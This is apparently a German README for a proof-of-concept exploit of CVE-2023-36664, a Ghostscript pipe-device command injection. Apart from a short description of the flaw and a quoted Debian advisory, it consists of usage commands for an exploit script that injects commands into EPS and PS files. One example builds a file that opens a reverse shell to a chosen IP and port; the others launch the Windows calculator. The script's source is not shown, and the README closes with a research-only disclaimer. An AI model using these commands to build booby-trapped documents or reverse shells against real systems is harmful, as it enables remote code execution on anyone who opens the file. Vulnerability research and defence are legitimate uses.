
Ghostscript Befehlsinjektions-Schwachstelle PoC (CVE-2023-36664)
Die Schwachstelle in Ghostscript vor Version 10.01.2 führt zur Codeausführung (CVSS-Score 9.8).
Offizielle Beschreibung der Schwachstelle:
Artifex Ghostscript bis einschließlich 10.01.2 handhabt die Berechtigungsvalidierung für Pipe-Geräte (mit dem %pipe%-Präfix oder dem | Pipe-Zeichen-Präfix) nicht ordnungsgemäß.
Debian hat ein Sicherheitsbulletin veröffentlicht, das die mögliche Ausführung beliebiger Befehle erwähnt:
"Es wurde festgestellt, dass Ghostscript, der GPL PostScript/PDF-Interpreter, die Berechtigungsvalidierung für Pipe-Geräte nicht ordnungsgemäß durchführt, was zur Ausführung beliebiger Befehle führen kann, wenn fehlerhafte Dokumentdateien verarbeitet werden."
Dieses Repository wurde für einen CVE-Analyse-Blogbeitrag erstellt, der auf dem vsociety-Blog verfügbar ist.
Laden Sie Ghostscript 10.01.1 hier herunter: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Direkter Link zur Windows x64 ausführbaren Datei: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
Die Ausnutzung kann beim Öffnen einer PS- oder EPS-Datei erfolgen und kann Codeausführung ermöglichen, die durch Ghostscripts fehlerhafte Berechtigungsvalidierung für Pipe-Geräte verursacht wird.
Verwendung: python3 CVE_2023_36664_exploit.py <input_file> <command>
Beispiel:
python3 CVE_2023_36664_exploit.py file.eps "calc"
Dies erzeugt eine neue Datei namens file_injected.eps.
Öffnen Sie diese mit Ghostscript, um den Taschenrechner auszulösen (ab Version 9.50 müssen Sie auch die -dNOSAFER-Option verwenden):
gs10011w64.exe -dNOSAFER .\file_injected.eps
Weitere Beispiele: Erzeugen Sie eine neue EPS-Datei namens run_calculator.eps mit dem Payload "calc" (öffnet einen neuen Taschenrechner unter Windows)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
Erzeugen Sie eine neue EPS-Datei namens rev_shell.eps mit einer benutzerdefinierten IP (startet eine Reverse Shell unter Unix)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
Erzeugen Sie eine neue PS-Datei malicius.ps mit dem Payload "calc" (öffnet einen neuen Taschenrechner unter Windows)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
Fügen Sie einen schädlichen benutzerdefinierten Payload ("calc") in eine vorhandene Datei namens file.eps ein (öffnet einen neuen Taschenrechner unter Windows)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
Diese Software wurde ausschließlich für akademische Forschungszwecke und für die Entwicklung effektiver Verteidigungstechniken erstellt und ist nicht dazu bestimmt, Systeme anzugreifen, sofern dies nicht ausdrücklich genehmigt wurde. Die Projektverantwortlichen sind nicht verantwortlich oder haftbar für Missbrauch der Software. Nutzen Sie sie verantwortungsvoll.